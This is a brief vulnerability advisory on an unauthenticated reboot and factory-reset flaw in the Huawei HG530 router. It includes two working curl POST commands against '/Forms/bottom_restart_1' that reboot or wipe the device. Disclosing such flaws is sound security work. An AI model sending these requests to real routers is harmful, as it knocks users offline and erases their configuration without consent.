Huawei HG530 Multiple Unauthenticated reboot and restore Vulnerability

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The Huawei HG530 suffers from multiple Unauthenticated reboot and restore
vulnerability allows local attackers to reboot the device or to restore to
factory Configuration without user interaction.

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The vulnerability is located in form POST data parameter in
'Restart_factory' via path '/Forms/bottom_restart_1'

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Security issue PoC :

1-Rebooting :

curl -vv -X POST --path-as-is http://192.168.1.1/Forms/bottom_restart_1 -d '
defaltRomFlag=0&defaultIpFactory=192.168.1.1&Restart_factory=0'

2-Restoring :

curl -vv -X POST --path-as-is http://192.168.1.1/Forms/bottom_restart_1 -d '
defaltRomFlag=0&defaultIpFactory=192.168.1.1&Restart_factory=1'

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